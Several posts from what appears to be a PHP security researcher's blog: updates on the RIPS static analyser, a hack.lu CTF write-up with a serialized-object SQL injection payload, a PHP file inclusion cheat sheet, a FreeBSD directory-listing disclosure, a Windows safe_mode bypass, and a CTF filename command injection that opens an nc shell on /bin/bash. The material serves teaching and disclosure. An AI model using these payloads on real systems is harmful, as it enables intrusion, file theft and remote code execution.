Project RIPS – Status

June 4, 2011

During the past month I spend a lot of time improving RIPS – my static analysis tool for PHP vulnerabilities. You can download the new version 0.40 here. In this post I will give a short project status report.

Whats new

There has been a couple of bugfixes and improving especially regarding file inclusions which are vital for correct analysis. Also RIPS now tries to analyse SQL queries on quotes before a decision on correct securing is made. However this feature is still not 100% working correctly in all cases.

// safe
$name = mysql_real_escape_string($_GET['name']);
mysql_query("SELECT * FROM users WHERE name = '$name'");

// vulnerable
$id = mysql_real_escape_string($_GET['id']);
mysql_query("SELECT * FROM users WHERE id = $id");

The main new visible features are graphs. Besides the list of all scanned files RIPS now gives a nice overview on how files are connected to eachother, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities. It also splits the scanned files in main files (blue) and included files (red) so that entry points can be spotted easily.

RIPS file graph

Also all function calls are visible in a connected graph. Red lines are highlighting the code flow of each vulnerability. With these features it is very easy to spot in which file a vulnerability exists and which functions have to be called to reach the sensitive sink before you actually look at the code.

RIPS function graph

Another important feature is that code snippets that belong to the same vulnerability are now grouped and titled with the vulnerability category. In earlier versions they were unconnected and one had to jump between several snippets. With this it is now possible to look at specific vulnerability categories and to hide unimportant ones. This can be done by clicking on the categories name in the statistics window that also has been improved with a pie chart (HTML5 for the win ;)).

RIPS stats

Also a new vulnerability type “Unserialize / POP” has been added that allows you to search for unserialize() sinks and interesting POP gadget functions (more info here). For more changes have a look at the changelog.

Whats missing

The main drawback of RIPS is still the missing support of Object-Oriented Programming (OOP). That means that almost all large code projects can not be scanned sufficiently and vulnerabilities will not be detected correctly. RIPS also still has problems with large non-OOP projects with complicated include structures. The new version improves the include strategie a lot, however if the filename is fetched from a database or build over several userdefined functions it is hard to reconstruct a string with static analysis. Also, a big block on my todo-list includes several bugs with the detection of proper and inproper securing that is also hard to detect with static analysis. So RIPS 0.40 remains being a good tool for small to bigger non-OOP apps but fails if you seriously want to scan WordPress or phpBB.

Whats coming

Scanning large OOP apps is still the main goal. After fixing currently known bugs (which are decreasing but finally increasing again every day ;)) it will be time for implementing basic OOP features. At the same time a complete rewrite is planned to improve development and contain new bugs. Also some basic behavior of RIPS needs to be changed to detect vulnerabilities more correctly. This includes the line-by-line reading which should be replaced by codeblocks and the handling of different data types, especially arrays. There has been some interests lately for a joint development so I am looking forward to how RIPS will evolve.

If you are aware of a bug in the new version or have a feature request please leave a comment or issue a request at sourceforge.

Advertisement

hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly 😉

Update: there is another writeup for this challenge in french available here


RIPS – A static source code analyser for vulnerabilities in PHP scripts

June 11, 2010

In the last years I have been working on my PHP Scanner (now called RIPS) which has been released recently during the Month Of PHP Security and was awarded as the 2nd best external submission.
RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static source code and taint analysis. It is open source and freely available at SourceForge (yey!).

Before using it I recommend reading the paper (HTML, PDF) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests.

[download RIPS]

Update 04.07.10: A new version 0.31 has been released.
Update 13.08.10: A new version 0.32 has been released.
Update 11.09.10: A new version 0.33 has been released.


Exploiting PHP File Inclusion – Overview

February 22, 2010

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd%00
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/%00
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ […] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=https://websec.wordpress.com/shell
    • ?file=https://websec.wordpress.com/shell.txt?
    • ?file=https://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include("http://192.168.1.10/config.php"); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.


FreeBSD directory listing with PHP file functions

November 28, 2009

Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.

The following 3 PHP codes will output a garbled directory listing of the current directory:

echo file_get_contents("./");
$a=file("./");print_r($a);
readfile("./");

While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.

download.php

<?php

$file = $_GET['file'];
echo file_get_contents("/var/www/files/".$file);

?>

#dirlist to see folders and files
download.php?file=../

#file disclosure of the found file “index.php”
download.php?file=../index.php

The directory listing only works for files in the webroot.

This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10

I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)

update:
As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.


PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens 😉

As it is well known anyway: don’t trust the PHP safe_mode.

Update:
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!


Fun with Backticks

May 26, 2008

While chatting with some guys at the OWASP AppSecEU 08 I noticed that backticks are oftenly overlooked in PHP. I came across backticks myself just some time ago while researching vulnerable functions on php.net for my PHP Scanner and found this entry. So you can use something like

$foo = `command here`;

to execute OS commands just like using system, shell_exec and what have you. This was absolutely new to me, although I’ve been working with PHP for quite a while and can be easily overlooked when reviewing code or filtering on mentioned functions (which is an bad idea anyway ;))

While talking about backticks I remembered a quite interesting security hole given on the UCSB CTF 07 (in the service “copyright” for those of you who participated or want to have a shot at the image). The service allowed to upload files and the relevant PHP code looked like the following:

$target_path = "../../uploads/". basename( $_FILES['file']['name']);
$command = "cp ".escapeshellarg($_FILES['file']['tmp_name'])." ".$target_path;
exec($command, $out, $ret);

If you take a closer look at the code you will see that you can execute code by naming the file you are going to upload to something like

foo;ping localhost

since “;” are allowed in filenames and will add a new command after the cp command gets executed. The problem was that we needed slashes in our filename to execute “foo;nc -l -p 2222 -e /bin/bash” or copy some interesting files to the webdir with “../../../../var/www/Site”. Obviously you cant rename your file containing a slash or craft such a request because its still handled as a file by PHP and slashes would be dealed as directorys. Now my mate Freddy had the idea to use backticks again, because they work at the command line just like in PHP to execute commands and return their output:

foo;nc -l -p 2222 -e `nc -l -p 3333`

This code will wait for something passed on port 3333 and then execute the rest of it. So we connect to port 3333, enter /bin/bash and will finally get a remote shell.
As we figured out afterwards this was a fairly stupid workaround for just using nc -l -p 2222 -e `which bash`, but was plain fun anyway during the contest.

Interesting to note is also that backticks on commandline work in double quotes, but not in single quotes.